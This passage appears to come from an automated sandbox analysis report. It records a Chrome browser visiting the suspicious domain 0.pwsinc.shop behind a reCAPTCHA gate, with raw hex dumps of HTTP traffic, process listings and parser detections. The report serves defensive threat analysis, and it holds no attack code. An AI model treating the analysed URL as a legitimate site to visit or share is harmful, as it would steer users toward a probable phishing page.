Y&x?s2T,Rv"/!X!X8_@Is5.(uM;p@;sI'qA.u~!V%D%G*$ f<Qil+ymj4]viC$6OW_)iU0X=!#%%X3H qS:JGquqw@5VBy2,n\|FR k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49771	142.250.186.36	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:32 UTC	610	OUT	GET /recaptcha/api2/reload?k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AGteOyp93zRCaP7cAsCcZzF4zhZ-ILzArgZKOif4TQyq_QtDyZllpgk7xRFpO7fTV89raEeSx57z7935ZzWbXQw
2024-10-01 13:37:32 UTC	743	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 01 Oct 2024 13:37:32 GMT Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Allow: POST Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-01 13:37:32 UTC	647	IN	Data Raw: 36 38 30 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f Data Ascii: 680<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 405 (Bad Request)!!1</title><style>*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{backgro
2024-10-01 13:37:32 UTC	1024	IN	Data Raw: 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background
2024-10-01 13:37:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49777	142.250.186.36	443	5776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:37:33 UTC	820	OUT	GET /recaptcha/api2/payload?p=06AFcWeA5Xy4plWRp0xGOrKbTgf7USn7JzUl46qbrgNrLdXSpRUTGozCymoUkraLWUEcC_HwIbZz3SzrfQyrbWhsSAywus1mPldNOolr9VyHMbseVYi6tPAfOR_4e4mw8cd4xRqr8ScV4FHtZ6RTIRyzZQtR94s2vpEIBHezzL67jrQALXTQb6DbBvxHxi-6S9LK73hT22c-yC&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AGteOyp93zRCaP7cAsCcZzF4zhZ-ILzArgZKOif4TQyq_QtDyZllpgk7xRFpO7fTV89raEeSx57z7935ZzWbXQw
2024-10-01 13:37:33 UTC	681	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Tue, 01 Oct 2024 13:37:33 GMT Date: Tue, 01 Oct 2024 13:37:33 GMT Cache-Control: private, max-age=30 Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Transfer-Encoding: chunked Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-01 13:37:33 UTC	709	IN	Data Raw: 36 64 35 62 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 6d5bJFIFC!"$"$C,,"}!1AQa"q
2024-10-01 13:37:33 UTC	1390	IN	Data Raw: d1 b5 bb 0b 9d 4a 3b 04 94 44 cc 8e 56 e2 45 68 d7 92 06 cc 01 b7 e7 3f 95 72 d1 a5 51 d4 f6 92 7a fd c7 45 4a b1 f6 6e 09 68 6c e8 fe 2e f1 8c f2 41 67 69 04 17 d3 4d 1b c8 a8 a1 43 83 92 70 46 00 1d 3f 5a d3 d5 7c 4d f1 0f 4d d2 cd e5 d7 86 ed 22 84 42 bb e5 de a4 a4 8c fb 40 0a 24 39 c9 2b f9 d6 25 cf 88 b4 7f 09 dd 47 7f 61 04 f7 29 3d af 98 e9 f6 95 dc 81 59 77 2a 96 04 6c 3b 0e 70 37 64 9c 75 ac a8 fe 30 5a 78 ee d2 f7 4e d2 f4 a7 d3 d9 51 47 9c 6e d1 d4 16 61 8c a1 0a cc 46 c3 f7 49 eb cd 76 5e a5 9a 6d df fa d4 e6 e4 8b b5 8a f6 1e 2f f8 85 1e ac da 9a ad e4 f1 bc c0 ed 92 32 b6 ec 02 80 40 53 8e 06 ee 76 f7 19 ea 2a cd ff 00 8e fc 77 fd 9f 27 f6 8d ca 43 fb c2 43 41 1a ae dc 8c 84 04 73 fd 6b 62 4b a1 24 85 d5 23 47 3d 76 a8 1c 76 04 8e b5 9b e2 Data Ascii: J;DVEh?rQzEJnhl.AgiMCpF?Z\|MM"B@$9+%Ga)=Ywl;p7du0ZxNQGnaFIv^m/2@Svw'CCAskbK$#G=vv
2024-10-01 13:37:33 UTC	1390	IN	Data Raw: f0 f4 10 37 8b ed e2 b0 b1 bd d5 ad 1e 0b 9b 85 d8 8f 1c ea 0f 21 5c 8e 32 0e 79 e7 83 f5 e0 ee 7c 5b 78 de 5b cb 69 0b b4 73 06 40 10 a8 1f 2e 08 23 3f 4a f4 69 62 a3 35 75 b6 81 ca ba 1b 9e 35 f1 0a e9 d6 b3 43 13 ba ce 84 04 74 97 69 0d c1 ce d1 c9 00 1a c0 f0 2f 8a b5 59 2f e1 12 de 49 34 80 10 10 a3 ca d7 1d 4e c1 80 71 f5 fe 75 07 89 b5 9b 9d 43 49 86 0b 8d 37 ec 84 b1 91 9f 04 79 84 fa 64 74 f5 fc 2b 91 b5 b9 b9 d2 f5 41 34 05 a2 78 dc 49 1f cd d0 83 c7 22 9f b6 bc ac 83 95 a3 e9 2d 4b 5c b1 d2 f4 36 d6 66 32 c9 68 02 91 b1 3e 63 93 81 c1 c5 71 d2 fc 5f d0 a7 5f 25 b4 dd 45 40 61 b9 92 50 a4 73 d7 20 fe 95 c9 f8 93 c5 77 1e 21 d0 1a c2 e4 2c 10 e5 25 c4 43 00 95 ed 8f 7c fe 95 e7 b7 ea d6 44 ad bf ef 21 90 1f 9d 90 12 30 7b 1f ca b4 6f 51 eb b9 eb Data Ascii: 7!\2y\|[x[is@.#?Jib5u5Cti/Y/I4NquCI7ydt+A4xI"-K\6f2h>cq__%E@aPs w!,%C\|D!0{oQ
2024-10-01 13:37:33 UTC	1390	IN	Data Raw: 4e f8 e6 b9 09 ae a4 9e 39 19 89 62 ee 1b 71 e4 f1 e9 5c f4 e9 2a 89 c5 ad 0c f5 48 e8 21 d5 a7 9e e2 de 2b af 32 52 64 31 b2 93 c1 05 b1 db fc 9f 7a 9b c4 78 b0 b0 92 28 8c be 59 6c e1 d3 69 01 87 03 1e bc 63 3e d5 06 c8 af a2 b2 9a de 0f 36 f2 34 69 2e da 66 f9 08 5c 6d f9 46 3f fa f5 62 de ef 49 b8 82 6b 6b d5 69 52 78 e4 3e 66 58 88 dc 0c ae d0 3a 0c e3 af 4c d0 a3 cc d3 5a 2e c4 d9 a4 67 f8 72 f6 3b 7b 89 65 95 d9 14 44 76 31 5c 91 8e 7f 3e 2a f5 d6 a5 67 af fd 95 6f 6d 92 de e8 46 aa 97 0b c7 9a 55 88 19 03 00 70 7f 31 ef 8a c0 ba 84 bd 91 96 d2 26 da ad b5 f0 73 8c f6 fd 2a 3b 67 58 94 32 c9 20 70 fc c7 d9 39 3d 7f 3a d7 91 45 b9 75 29 3b 6c 3e f6 fa 69 67 64 69 49 58 ce c8 c3 37 0a a0 f4 03 d2 ba 4f 05 5e e9 c6 d2 e2 db 50 8d fc d0 ac d6 87 82 aa Data Ascii: N9bq\H!+2Rd1zx(Ylic>64i.f\mF?bIkkiRx>fX:LZ.gr;{eDv1\>gomFUp1&s*;gX2 p9=:Eu);l>igdiIX7O^P
2024-10-01 13:37:33 UTC	1390	IN	Data Raw: 4f 76 7b 3f 89 fc 6b a1 26 bb 1a 69 7a 5e 95 35 b6 dc b4 92 5a a8 2c 73 db 23 3f fe ba c6 be f1 5e 92 62 bb 9a 3f 0f 69 c6 66 53 e4 ef b5 8d b6 b7 40 41 c7 1c 66 bc 22 4d 56 68 9b cc 59 1c a1 cf ca 5b 38 fa 67 fc f5 ad 5b 0d 7d d2 15 99 5d b0 07 3c fb f5 fc ab 49 2a 89 dc 15 64 74 3e 35 9e e7 c4 bf 62 4d 57 4e 10 25 97 9b 2c 02 d8 05 0e ad b7 2a 46 47 70 bd 01 c5 79 94 f3 c9 76 d7 20 a3 33 05 da 83 71 3b 42 f5 fc 00 15 ea 3e 1f d4 2d e7 d1 75 eb b9 60 5b b9 92 24 48 3d 49 93 72 8c 7a 73 8a e6 3c 23 e1 0d 43 5d d0 24 b9 b6 8e d4 ac 4a d1 08 f3 b1 dd ba 82 49 1c 9c e0 93 9e 98 15 30 c4 fb 37 2f 69 a5 ac 72 57 8f 34 ef 63 9c d3 74 4d 56 fe ed a1 82 ca 5d e1 72 c3 69 da 70 33 d4 f1 9c 74 15 71 bc 37 7f 67 a7 5e 4f a9 ac 56 be 5b 6c 55 76 c1 2f 80 76 af e1 f8 Data Ascii: Ov{?k&iz^5Z,s#?^b?ifS@Af"MVhY[8g[}]<Idt>5bMWN%,FGpyv 3q;B>-u`[$H=Irzs<#C]$JI07/irW4ctMV]rip3tq7g^OV[lUv/v
2024-10-01 13:37:33 UTC	1390	IN	Data Raw: a0 48 9b 56 d4 13 36 b0 9c 47 1f 43 71 27 65 1e c3 b9 ff 00 1a 7e 91 a7 a4 eb 2d f5 ec 86 0b 08 7f d6 c9 8e 58 f6 44 1d d8 fe 9d 6a 1d 4e ea e7 53 9d 24 82 12 90 c4 bb 20 82 35 24 46 9e 9e e7 d4 f7 35 2d f4 19 0d cd c5 c5 ed e4 97 93 be 5e 43 93 db 1e c3 d8 54 17 91 66 26 27 38 f5 06 ac c7 a6 6a 84 f9 89 a7 dc 85 ee 0c 4c 07 e7 8a 2e 34 fb e2 b8 29 14 5e a1 e7 44 3f ab 0a 34 15 d2 dc db f0 2f 88 6d 06 93 26 87 a9 5c 47 8c 32 20 9b ee 49 1b 75 42 7b 75 3f 9d 72 7e 20 f8 57 34 b7 0f fd 81 a8 aa 83 96 8e 0b 92 43 00 7b 2b 80 41 fd 29 65 d1 a5 72 77 3d 9c 7e e6 ed 1b ff 00 41 26 ac 69 b6 f7 76 07 f7 5a f8 81 47 44 49 e5 2b f9 01 8a 96 90 bd ac 17 54 79 df 88 be 12 fc 47 94 7e e7 46 8a e0 29 fb e9 75 1b 16 c7 3d 09 cd 52 d3 7e 1c 78 e2 18 77 6a 9e 1f 9a 79 47 Data Ascii: HV6GCq'e~-XDjNS$ 5$F5-^CTf&'8jL.4)^D?4/m&\G2 IuB{u?r~ W4C{+A)erw=~A&ivZGDI+TyG~F)u=R~xwjyG
2024-10-01 13:37:33 UTC	1390	IN	Data Raw: db c6 b7 0d ad 35 e4 32 c5 3a cc 78 8d b7 2b 21 5e 57 d3 a7 23 07 3e 83 9e f8 c9 76 b3 78 96 dc dc 41 e6 22 5a a2 94 dd 8d d9 63 dc 7d 2b 68 e1 68 d1 c4 a7 1d 1b 5b 7d e8 c2 55 6a 4e 8b 52 d5 1c b5 ac f2 47 3c 0a e5 a4 d9 10 55 e8 3a 91 56 ad 6d af 95 0c 8b 69 2b ac ac 5d 59 53 70 23 a7 a7 b1 a4 d0 e0 17 3e 23 b3 b7 03 3e 64 d1 46 07 d5 85 7d 21 ad f8 57 c3 9a 86 a0 f7 57 5a 4d bb 4c e3 e7 61 95 dc 7d 4e 31 93 ef 5e 84 55 d1 c8 9f 47 a9 0e 70 bd 81 fa e2 9b bc 1c e1 87 e1 50 c6 46 70 46 7d 29 65 20 1d a0 fd 4d 36 ec 6d 52 7c 91 6c ba ba b6 a3 1d b2 5b 25 d3 24 31 e4 a2 a8 03 07 eb eb 5a b3 5c e9 ed 68 8d fd bf 75 79 3f f1 25 c4 b2 c4 8b f8 05 6c ff 00 df 42 b9 b3 b7 18 c8 cd 68 e8 3f d8 25 9c eb 17 17 28 47 dc 11 ae 54 fd 48 e7 f2 15 9d cf 2e 33 94 9e af Data Ascii: 52:x+!^W#>vxA"Zc}+hh[}UjNRG<U:Vmi+]YSp#>#>dF}!WWZMLa}N1^UGpPFpF})e M6mR\|l[%$1Z\huy?%lBh?%(GTH.3
2024-10-01 13:37:33 UTC	1390	IN	Data Raw: 64 b1 18 eb 8d a7 a5 7b e5 b5 fc 8b 6b 11 9a 47 bc 2c bb 92 78 d0 6d 74 27 2a 78 e3 a6 2b cf fc 05 7d 65 e2 08 22 8f 4f 45 8a dd 26 76 78 a4 5d d2 da 4a e8 e4 ec 93 ab 23 1c f0 79 18 eb d2 bb b6 78 ec e2 82 d1 3e ec 10 a4 63 03 8f 94 63 fa 57 47 2b 92 ba 76 66 2a 4a 37 4d 5d 14 3e f4 80 79 8a a0 9c 12 47 41 5a e7 4a d1 60 27 ed 3e 25 85 9b 3f 76 de d9 e4 fd 4e 05 61 31 5e e4 d3 01 1d 31 f9 d3 6a e6 b3 82 9e e6 eb 1f 0a c5 c1 7d 5a ed 87 a6 c8 94 ff 00 33 4c 6d 57 42 8b fd 4f 87 83 91 d0 dc 5d 3b 7e 83 02 b1 97 38 ce 38 ee 71 48 c9 80 5b ad 1c a8 4a 94 17 43 60 f8 92 48 f9 b4 d3 34 9b 53 d8 a5 aa b3 0f c5 b2 69 92 f8 9b 5c 95 76 9d 52 e1 17 d2 33 e5 8f fc 77 15 91 b5 7f 5a 76 14 9c 77 f6 a7 64 5a 49 16 65 bb 9e 76 dd 34 d2 4a 47 77 62 df ce a2 24 f5 0d c6 Data Ascii: d{kG,xmt'x+}e"OE&vx]J#yx>ccWG+vfJ7M]>yGAZJ`'>%?vNa1^1j}Z3LmWBO];~88qH[JC`H4Si\vR3wZvwdZIev4JGwb$
2024-10-01 13:37:33 UTC	1390	IN	Data Raw: e7 0a 9f 0d 23 cf cd ae b0 1e a2 cf 3f fb 3d 23 fc 31 8b 82 9a f9 63 ef 65 ff 00 db 2b bb f3 07 5c d2 ac a9 9e b4 3a 49 07 b5 97 73 c5 bc 6f f0 0e 6f 16 5c 58 a1 f1 44 56 d1 5b 2c bb c9 b2 2e c7 70 5c 60 6f 1d d7 9e 7b d4 16 3f b3 74 36 50 5b c6 9e 2e 66 68 9c 3b 31 d3 be fe 0e 47 1e 6f 1d ff 00 3a f7 ab 36 0d bf 07 d3 fa d4 a4 57 2d 6a 30 9b b3 45 28 a9 ab b3 e7 74 fd 99 2c 57 78 6f 16 48 c2 46 06 4c e9 e3 2c 33 93 cf 99 c1 f7 e9 ec 6a 7d 4f f6 6e b2 ba 81 2d 93 c5 32 43 6b 14 85 e2 88 58 e7 6e 7b 67 cc e7 9f 51 eb 5e fc 7a d3 48 ac be ad 4e e9 db f1 65 f2 44 f9 f6 0f d9 aa c2 1b 97 9d 3c 4c 03 12 4a 8f ec ee 13 2a c3 8f de ff 00 b5 fa 0a 92 eb f6 72 13 69 b2 5a 2f 8b b6 16 6c a3 0d 38 90 83 9e 30 65 fa 7e 5e f5 ef c0 28 a7 a8 15 2f 0d 4d bb b5 f8 b0 f6 Data Ascii: #?=#1ce+\:Isoo\XDV[,.p\`o{?t6P[.fh;1Go:6W-j0E(t,WxoHFL,3j}On-2CkXn{gQ^zHNeD<LJ*riZ/l80e~^(/M
2024-10-01 13:37:33 UTC	1390	IN	Data Raw: 59 1a 89 8a 86 f2 19 26 b7 78 d5 82 ee 18 e7 a6 3f ad 73 de 32 f1 54 1a 2c 52 db c5 76 a6 e9 22 2f 21 58 0c 86 21 83 8c 0c 80 58 ed 38 5f 40 49 e0 73 e7 ff 00 f0 b9 35 bd 2e f6 28 75 4d 1e c2 fa 19 09 0a b0 3b c3 70 40 3b 73 8f 99 49 27 8c 71 ce 41 c6 0e 06 9a d4 2e 75 7e 21 f0 de 9e fb 56 ea 25 98 44 e1 e4 25 47 94 a3 af 2a 00 18 03 24 20 e4 f5 66 f9 b9 e1 3c 51 a6 69 fa 6c 2b 79 6d 6a 34 99 a7 1e 5d bc c9 76 e2 69 c7 43 ba 24 c0 f2 f1 c1 1f 36 4f 07 f8 8a f5 57 5f 10 fc 29 e2 69 05 8d bd fc 9a 55 d2 30 58 ed b5 3d b6 d1 c9 21 23 25 9f 25 58 af f7 33 cb 10 48 20 71 53 c4 3a 4a 47 71 75 71 77 94 b7 40 ab 35 c3 db f9 b2 9f bb 88 e3 56 e4 1f 95 42 a8 e4 16 04 90 c3 79 de 32 be e4 b4 99 c6 e9 de 2c d4 b4 81 6e 7c 46 97 17 82 52 20 b7 d4 dd 0b c9 6b 10 1c 98 Data Ascii: Y&x?s2T,Rv"/!X!X8_@Is5.(uM;p@;sI'qA.u~!V%D%G*$ f<Qil+ymj4]viC$6OW_)iU0X=!#%%X3H qS:JGquqw@5VBy2,n\|FR k

Target ID:	0
Start time:	09:37:04
Start date:	01/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:37:08
Start date:	01/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2532,i,14978475044402180545,11299441417049235897,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:37:10
Start date:	01/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://0.pwsinc.shop/?MKPT=Inc"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://0.pwsinc.shop/?MKPT=Inc	HTTP Parser: No favicon
Source: https://0.pwsinc.shop/?MKPT=Inc	HTTP Parser: No favicon
Source: https://0.pwsinc.shop/?MKPT=Inc	HTTP Parser: No favicon
Source: https://0.pwsinc.shop/?MKPT=Inc	HTTP Parser: No favicon
Source: https://0.pwsinc.shop/?MKPT=Inc	HTTP Parser: No favicon

Source: global traffic	HTTP traffic detected: GET /?MKPT=Inc HTTP/1.1Host: 0.pwsinc.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://0.pwsinc.shop/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp&co=aHR0cHM6Ly8wLnB3c2luYy5zaG9wOjQ0Mw..&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=k3o38yz6anvy HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://0.pwsinc.shop/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp&co=aHR0cHM6Ly8wLnB3c2luYy5zaG9wOjQ0Mw..&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=k3o38yz6anvyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
